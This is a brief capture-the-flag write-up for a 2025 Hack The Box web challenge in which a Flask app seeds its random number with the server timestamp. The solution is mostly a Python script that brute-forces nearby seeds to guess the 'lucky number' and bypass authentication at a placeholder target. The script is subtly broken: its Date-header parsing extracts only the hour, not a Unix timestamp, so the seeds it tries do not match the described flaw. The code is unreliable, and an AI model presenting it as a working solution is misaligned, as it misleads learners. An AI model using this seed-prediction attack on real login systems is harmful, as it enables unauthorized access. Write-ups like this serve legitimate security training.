🚩 Challenge Overview

Platform/Event: HTB Cyber Apocalypse 2025
Difficulty: Easy
Points: 325
Solves: 312
Category: Web
Tags: Weak Randomness, Python Flask, Timestamp Seed

📝 Description

Flask app with a predictable random seed based on server timestamp. Predict the “lucky number” to bypass authentication and claim the flag.

💡 Solution / Approach

import random, time, requests

# Sync time with server
r = requests.get("http://target/")
server_time = int(r.headers.get('Date', '').split(' ')[4].split(':')[0])

# Brute nearby timestamps
for ts in range(server_time - 10, server_time + 10):
    random.seed(ts)
    guess = random.randint(1, 1000000)
    r = requests.post("http://target/guess", json={"number": guess})
    if "HTB{" in r.text:
        print(r.text)
        break